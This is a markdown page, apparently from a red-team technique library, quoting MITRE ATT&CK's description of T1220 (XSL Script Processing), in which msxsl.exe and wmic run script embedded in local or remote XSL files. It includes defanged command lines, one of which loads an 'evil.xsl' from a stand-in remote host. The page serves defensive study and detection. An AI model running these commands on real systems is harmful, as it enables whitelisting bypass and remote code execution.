# T1220 - XSL Script Processing
|
|
## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1220)
|
|
<blockquote>Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
|
|
|
|
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018)

|
|
|
Command-line example: (Citation: Penetration Testing Lab MSXSL July 2017)
|
|
|
|
* <code>msxsl.exe customers[.]xml script[.]xsl</code>
|
|
|
|
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool.

|
Command-line examples: (Citation: subTee WMIC XSL APR 2018)
|
|
|
|
* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
|
|
* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code></blockquote>
